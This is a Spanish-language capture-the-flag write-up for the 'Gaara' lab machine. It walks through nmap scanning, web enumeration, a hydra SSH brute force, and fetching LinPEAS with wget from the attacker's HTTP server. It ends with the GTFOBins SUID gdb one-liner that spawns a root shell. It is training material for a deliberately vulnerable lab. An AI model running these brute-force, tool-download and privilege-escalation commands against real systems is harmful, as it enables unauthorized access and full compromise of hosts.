# Gaara

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fpv9oq4LCyoEZVdqNddsp%2Fimage.png?alt=media&#x26;token=5493c11a-05b6-4faf-8fcc-0e53ad4b03e8" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.164.142
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6L9kuRyxElfSGq9QjWDm%2Fimage.png?alt=media&#x26;token=e7e44605-1e1e-4cf7-8839-17e4e27a81ee" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22 y 80 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo únicamente de los servicios abiertos.&#x20;

```
nmap -p22,80 -sVC -vv -Pn -n 192.168.164.142
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FS2E8K9PxdJE2vm8LUovB%2Fimage.png?alt=media&#x26;token=8b3cff75-0258-4a9e-9845-ef37ab249c8e" alt=""><figcaption></figcaption></figure>

Dos servicios abiertos:

* Puerto 22 -> OpenSSH 7.9p1 Debian 10+deb10u2
* Puerto 80 -> Apache httpd 2.4.38

#### Enumeración web

Tenemos disponible un servidor Web en el puerto 80. Vamos a ver el contenido en el navegador.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCerji7cZuwkMjJNyWJfV%2Fimage.png?alt=media&#x26;token=07ae1122-dc8c-4a3d-a4b4-cf70fd4b1c01" alt=""><figcaption></figcaption></figure>

Vamos a realizar un escaneo de directorios por si hubiese información de interés.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FFEsMOBwUxipBvRsCJlCn%2Fimage.png?alt=media&#x26;token=df58a126-ce27-421c-81c3-d6b5bd61aac0" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido de este directorio en el navegador

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9oPTyhjfiWEHKpfa1Xhq%2Fimage.png?alt=media&#x26;token=f9608e9a-24d9-4093-b81a-343f525b8499" alt=""><figcaption></figcaption></figure>

Tenemos otro nuevo directorio, vamos a ver su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FnAQnfJIxdP2WHnc4Uanx%2Fimage.png?alt=media&#x26;token=8175eaf7-18b1-47ee-9082-fdb502ade7e7" alt=""><figcaption></figcaption></figure>

Tenemos una posible contraseña cifrada. Vamos a descifrarla con la herramienta [Cyberchef](https://gchq.github.io/CyberChef/).&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZsai621FDpsYSojKnYPM%2Fimage.png?alt=media&#x26;token=970d5194-16e3-4396-bd3d-27faa41b1af6" alt=""><figcaption><p>gaara:ismyname</p></figcaption></figure>

Vamos a utilizar esta contraseña para iniciar sesión en SSH con usuario "gaara".

### Elevación de privilegios como usuario "gaara"

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRGRarBi4SVMVah7v1owU%2Fimage.png?alt=media&#x26;token=4491f673-a430-44a0-83ce-82269e185300" alt=""><figcaption></figcaption></figure>

Pero la contraseña que encontramos anteriormente no es válida. Vamos a intentar con un ataque de fuerza bruta al puerto  SSH.&#x20;

```
hydra -l gaara -P rockyou.txt 192.168.164.142 ssh
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNP2Yj8P7zqSMoNnZD74g%2Fimage.png?alt=media&#x26;token=12238d72-a9ac-48ae-9b5c-8496d7aa2e52" alt=""><figcaption><p>gaara:iloveyou2</p></figcaption></figure>

Obtenemos unas nuevas credenciales. Volvemos a intentar conectarnos mediante SSH.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIHlmbon6Cvj0WOVXZsUG%2Fimage.png?alt=media&#x26;token=d7f8669b-45ac-4b5b-80d2-de2bd2d38717" alt=""><figcaption></figcaption></figure>

Ya estamos conectados a la máquina víctima como usuario "gaara". Vamos a buscar la flag de usuario.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FU8DJ5aioTiFqM1SbtvzW%2Fimage.png?alt=media&#x26;token=5d6e54e0-663a-4f94-bcaa-6e9c4d0d5e5a" alt=""><figcaption><p>Flag de usuario</p></figcaption></figure>

### Elevación a privilegios "root"

Esta elevación la vamos a realizar de dos maneras, buscando posibles vulnerabilidades de manera automática utilizando el script LinPeas, y realizando la misma búsqueda de manera manual.&#x20;

Comenzamos cargando LinPeas en la máquina objetivo.&#x20;

Creamos un servidor HTTP con Python

```
python3 -m http.server 4444
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfsLsdkFYvUHk2Wva6riw%2Fimage.png?alt=media&#x26;token=d12f781a-87e0-48a1-8759-8ced76574dd4" alt=""><figcaption></figcaption></figure>

Y lo cargarmos en la máquina víctima

```
wget http://192.168.49.164:4444/linpeas_linux_amd64
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fo91D9Of6zIWCUBJF2Tsu%2Fimage.png?alt=media&#x26;token=82db2e5e-f031-417e-ba8f-4b88e9537e4d" alt=""><figcaption></figcaption></figure>

Y lo ejecutamos. Tras transcurrir un pequeño tiempo, ya podemos ver algo de información interesante para explotar la máquina.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHSDIuv5VqI7BCOAO3GIR%2Fimage.png?alt=media&#x26;token=373d3df7-17e8-481f-bb46-9017f01beffe" alt=""><figcaption></figcaption></figure>

Se encuentra un archivo interesante, ubicado en "*/usr/bin/gdb*" en SUID. En este punto usando [GTFObins](https://gtfobins.github.io/) se ha encontrado un exploit para usar:

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fp2GGGrIDDvpGT4PWxB5e%2Fimage.png?alt=media&#x26;token=5e6d9f99-616d-4a28-89b4-c817f48db579" alt=""><figcaption></figcaption></figure>

Ejecutaremos este comando para intentar elevar privilegios

```
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FV8ewzz7hCS03SEkM5gT4%2Fimage.png?alt=media&#x26;token=803d7a93-3fca-49f6-9f07-4a8a9b2a8a0a" alt=""><figcaption></figcaption></figure>

La forma manual de buscar que binarios tienen el bit SUID habilitado es la siguiente:&#x20;

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FH9yx2pGP8AaQriinqhlj%2Fimage.png?alt=media&#x26;token=ddb6fcf1-54ab-4f4a-a673-9028a369e3a7" alt=""><figcaption></figcaption></figure>

Una vez tenemos privilegios elevados, vamos a buscar la flag que falta.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F5rCXlsdzLy6Oi6QOSQm1%2Fimage.png?alt=media&#x26;token=1b062450-a134-40a3-a301-29e531f1e3d5" alt=""><figcaption><p>Flag root</p></figcaption></figure>

Y ya estaría terminado el CTF.&#x20;

{% embed url="<https://www.youtube.com/watch?v=InDR4k-y03k>" %}
